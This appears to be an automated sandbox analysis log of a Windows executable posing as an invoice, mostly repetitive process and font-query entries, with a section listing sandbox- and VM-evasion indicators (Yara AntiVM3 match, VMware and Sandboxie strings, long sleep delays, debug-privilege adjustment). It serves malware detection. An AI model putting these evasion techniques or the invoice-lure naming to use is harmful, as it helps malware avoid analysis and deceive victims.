Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe TID: 6096	Thread sleep time: -42186s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe TID: 6068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe TID: 6128	Thread sleep time: -480000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Thread delayed: delay time: 42186	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Thread delayed: delay time: 60000	Jump to behavior

Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
